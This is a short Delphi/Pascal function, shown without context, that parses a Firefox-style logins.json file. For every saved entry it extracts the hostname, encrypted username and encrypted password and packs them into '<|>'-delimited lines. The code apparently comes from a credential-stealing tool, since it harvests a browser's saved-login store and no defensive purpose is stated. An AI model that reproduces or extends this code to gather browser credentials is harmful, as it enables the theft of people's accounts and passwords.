function ParseMozJSON(j: string): string;
var
data, it, ress: string;
begin
data:=GetFile(j);
data:=Pars(',"logins":[{',data,'}],"disabledHosts":[');
while pos(',"hostname":"', data)<> 0 do
  begin
   it:= Pars(',"hostname":"', data, 'timesUsed":');
   ress:=ress + copy(it, 1, pos('","',it)-1);
   delete(it, 0, pos('encryptedUsername":"', it));
   ress:=ress + '<|>'+Pars('encryptedUsername":"',it,'","');
   delete(it, 0, pos('encryptedPassword":"', it));
   ress:=ress + '<|>'+Pars('encryptedPassword":"',it,'","')+#13#10;
   delete(data, 1, pos('timesUsed":',data));
end;
result:=ress;
end;